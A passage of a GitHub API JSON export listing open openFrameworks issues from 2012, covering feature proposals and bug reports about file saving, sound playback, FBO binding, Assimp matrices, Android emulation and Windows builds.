saving","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-06-29T16:46:03Z","updated_at":"2012-11-20T00:36:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is the simplest way to save a string to a text file right now:\n\n````cpp\nstring str = \"hello\";\nofBuffer msg(str.c_str(), str.length());\nofBufferToFile(\"out.txt\", msg);\n````\n\nthere should be a one-line (one-function, ideally) equivalent similar to http://processing.org/reference/loadStrings_.html and http://processing.org/reference/saveStrings_.html\n\nif we made a constructor for ofBuffer that accepts a string, then it could just be:\n\n````cpp\nofBufferToFile(\"out.txt\", \"hello\");\n````\n\nand a cast operator for ofBuffer to string:\n\n\n````cpp\nstring str;\nofBufferFromFile(\"out.txt\", str);\n````\n\ni'd be ok with that, even though the naming would be a bit obscure."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1361","id":5318139,"number":1361,"title":"ofSoundPlayer::getIsPlaying() does not work with mp3","user":{"login":"prossel","id":541021,"avatar_url":"https://secure.gravatar.com/avatar/47edf7d39b59dd6fc4cb15775b8b7d5f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"47edf7d39b59dd6fc4cb15775b8b7d5f","url":"https://api.github.com/users/prossel","html_url":"https://github.com/prossel","followers_url":"https://api.github.com/users/prossel/followers","following_url":"https://api.github.com/users/prossel/following","gists_url":"https://api.github.com/users/prossel/gists{/gist_id}","starred_url":"https://api.github.com/users/prossel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prossel/subscriptions","organizations_url":"https://api.github.com/users/prossel/orgs","repos_url":"https://api.github.com/users/prossel/repos","events_url":"https://api.github.com/users/prossel/events{/privacy}","received_events_url":"https://api.github.com/users/prossel/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-06-28T08:55:15Z","updated_at":"2012-07-04T08:17:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Looks like getIsPlaying is always returning false if the sound is a .mp3 file. Tested with OF71 on iOS.\n\nTo reproduce:\n\n1. use the soundPlayerExample\n1. drop a .mp3 file in the sounds folder\n1. change the filename in testApp.mm: `synth.loadSound(\"sounds/part1.mp3\");`\n1. run the app\n1. click to start playing sounds\n\nWhen the last two sounds are playing, their title turns red.\n\nThe first sound (mp3) does not turn red because getIsPlaying() returns false."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1359","id":5302782,"number":1359,"title":"ofFbo bind() and unbind() is confusing","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-27T17:50:20Z","updated_at":"2012-06-29T09:17:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"fbo.bind() should bind the FBO's texture, ie behave the same way as ofTexture.bind(). At the moment it actually binds the FBO's framebuffer. this is confusing, and the documentation is inaccurate on this point (http://www.openframeworks.cc/documentation/gl/ofFbo.html#bind).\n\ni would suggest making bind() call getTextureReference().bind(), and adding a new function bindFrameBuffer to do what bind() currently does. comments?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1358","id":5297227,"number":1358,"title":"ofxAssimpModelLoader aiMatrix4x4ToOfMatrix4x4","user":{"login":"neuroprod","id":640585,"avatar_url":"https://secure.gravatar.com/avatar/3623ccdee8e3a141ff0e8d4e8447671d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3623ccdee8e3a141ff0e8d4e8447671d","url":"https://api.github.com/users/neuroprod","html_url":"https://github.com/neuroprod","followers_url":"https://api.github.com/users/neuroprod/followers","following_url":"https://api.github.com/users/neuroprod/following","gists_url":"https://api.github.com/users/neuroprod/gists{/gist_id}","starred_url":"https://api.github.com/users/neuroprod/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neuroprod/subscriptions","organizations_url":"https://api.github.com/users/neuroprod/orgs","repos_url":"https://api.github.com/users/neuroprod/repos","events_url":"https://api.github.com/users/neuroprod/events{/privacy}","received_events_url":"https://api.github.com/users/neuroprod/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-27T13:45:13Z","updated_at":"2012-06-27T17:56:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nline nr 86 this:\n```cpp\nfloat m[16] = { aim.a1,aim.a2,aim.a3,aim.a4,\n\t\t\t\t\taim.b1,aim.b2,aim.b3,aim.b4,\n\t\t\t\t\taim.c1,aim.c2,aim.c3,aim.c4,\n\t\t\t\t\taim.d1,aim.d2,aim.d3,aim.d4 };\n```\nshould be this\n```cpp\nfloat m[16] = { aim.a1,aim.b1,aim.c1,aim.d1,\n\t\t\t\t\taim.a2,aim.b2,aim.c2,aim.d2,\n\t\t\t\t\taim.a3,aim.b3,aim.c3,aim.d3,\n\t\t\t\t\taim.a4,aim.b4,aim.c4,aim.d4 };\n```\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1356","id":5291942,"number":1356,"title":"ofMesh statics","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-27T08:56:51Z","updated_at":"2012-06-27T15:13:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"hey all!\n\ni'm going back through issues this week to clean out and work on functionality.\n\nwe talked before @ofTheo and maybe marek? (iirc) about ofMesh statics\n\nMy proposal is something like 'ofMeshLibrary' which has lots of standard meshes that you can pull out or draw directly, e.g.:\n* Grid (quad, plane, etc)\n* Box\n* Sphere\n* Icosphere\n* Cylinder\n* Tube\n* Arrow\netc...\n\nfor each you could do like\n\n```c++\nofMesh myMesh;\n\nofMeshLibrary::sphere::draw(); // draw with default resolution\n\n//ofMeshLibrary::sphere::init() is called the first time you either copy or draw the mesh\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with default resolution\n\nofMeshLibrary::sphere::setResolution(5); // change the resolution of the static sphere\n\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with low resolution\n\nofMeshLibrary::sphere::draw(); // draw with reduced resolution\n```\n\nAnybody see any issues with this being in the core?\nIf not I'll start on this. We discussed it before on irc and it was mostly positive."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1354","id":5280751,"number":1354,"title":"feature suggestion: ofCamera::getXYZat(const ofVec2f & screenCoordinate)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-06-26T18:43:23Z","updated_at":"2012-08-04T21:47:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would use the same method as ofxGrabCam (pull a pixel from the depth buffer and unproject)\nAnybody have any qualms about including this in ofCamera directly?\n\nalso i suggest we add:\n```glEnable(GL_DEPTH_FUNC);``` to ```ofCamera::begin(...)```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1348","id":5235369,"number":1348,"title":"Android example doesn't run on emulator, but runs on device","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-24T12:09:38Z","updated_at":"2012-08-05T21:31:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\n\nI've just followed the setup guide for Android/Eclipse/Linux. Everything works using AndroidEmptyExample, when using a real device, but if I use a freshly generated ICS emulator, it does not run successfully. \nLog:\n\n\t\tBUILD SUCCESSFUL\n\t\tTotal time: 15 seconds\n\t\tcp bin/OFActivity-debug.apk bin/androidEmptyExample.apk\n\t\t#if [ \"device\" = \"device\" ]; then\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb uninstall cc.openframeworks.androidEmptyExample\n\t\tFailure\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb install -r bin/androidEmptyExample.apk;\n\t\t2560 KB/s (8222503 bytes in 3.136s)\n\t\t\tpkg: /data/local/tmp/androidEmptyExample.apk\n\t\tFailure [INSTALL_FAILED_CONTAINER_ERROR]\n\t\t#fi\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb shell am start -a android.intent.action.MAIN -n cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity\n\t\tStarting: Intent { act=android.intent.action.MAIN cmp=cc.openframeworks.androidEmptyExample/.OFActivity }\n\t\tError type 3\n\t\tError: Activity class {cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity} does not exist.\n\nThe activity class looks alright (and works with a device, anyway). Any ideas what's wrong here, @arturoc ? Is this even fixable on our side?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1347","id":5216147,"number":1347,"title":"rename ofImage.grabScreen","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-22T14:24:37Z","updated_at":"2012-06-23T16:21:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"First: Is this method supposed to be in the public API of OF? Becaue it is missing in the reference on the website.\n\nI think we should discuss the naming of this function. OF has methods like `ofGetHeight()` for getting the height of the app and `ofGetScreenHeight()` for getting the height of the screen. Instead `ofImage_::grabScreen`[1] does not grab the screen. I tested this on arch/ubuntu/win7 and it only grabs the app (everything else is black). Maybe it should be renamed to only `ofImage_::grab`. What do you think?\n\n[1] https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofImage.cpp#L907"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1344","id":5163949,"number":1344,"title":"ofLoadURLAsync crash when no network is available","user":{"login":"gorkacortazar","id":608719,"avatar_url":"https://secure.gravatar.com/avatar/6730aa74ae4edfa08a88f98e1364f5ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6730aa74ae4edfa08a88f98e1364f5ec","url":"https://api.github.com/users/gorkacortazar","html_url":"https://github.com/gorkacortazar","followers_url":"https://api.github.com/users/gorkacortazar/followers","following_url":"https://api.github.com/users/gorkacortazar/following","gists_url":"https://api.github.com/users/gorkacortazar/gists{/gist_id}","starred_url":"https://api.github.com/users/gorkacortazar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gorkacortazar/subscriptions","organizations_url":"https://api.github.com/users/gorkacortazar/orgs","repos_url":"https://api.github.com/users/gorkacortazar/repos","events_url":"https://api.github.com/users/gorkacortazar/events{/privacy}","received_events_url":"https://api.github.com/users/gorkacortazar/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-20T07:09:34Z","updated_at":"2012-09-26T10:46:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLoadURLAsync crashes when no network is connected, on windows (codeblocks and vidual studio). Seeing the debugger, crashes when the poco::dnserror is being called.\n\nMy current workaround is to use ofLoadURL(...) in a threaded class, that work as expected (catches the error and logs the network error in the ofx console)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1343","id":5134626,"number":1343,"title":"ofVec2f could be more dry?","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-06-18T21:48:19Z","updated_at":"2012-08-01T11:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Can you do inline functions inside inline functions? this seems to indicate so\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/math/ofVec2f.h#L706\n\nIf so, in ofVec2f::getPerpendicular, ofVec2f::perpendicular and there are a few calls to \nfloat length = (float)sqrt( x*x + y*y ); \n\nthese can be covered by the ofVec2f::length() function\n\nAlso, do we need both lengthSquared() and squareLength()?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1336","id":5108991,"number":1336,"title":"ofSoundStream doesn't compile in VS2010 (Release Mode) ","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-06-16T21:56:42Z","updated_at":"2012-06-18T07:02:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I get an \terror LNK2038: Konflikt ermittelt für \"_ITERATOR_DEBUG_LEVEL\": Der Wert \"2\" stimmt nicht mit dem Wert \"0\" in main.obj überein.\t\n\nIn the Linker settings i see that the rtAudioD.lib is used . \nThis is an inherited value.( I don't know where this value is set and how I can change this )\nI'll guess it should be rtAudio.lib instead.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1334","id":5105884,"number":1334,"title":"video playback in windows is slow for some 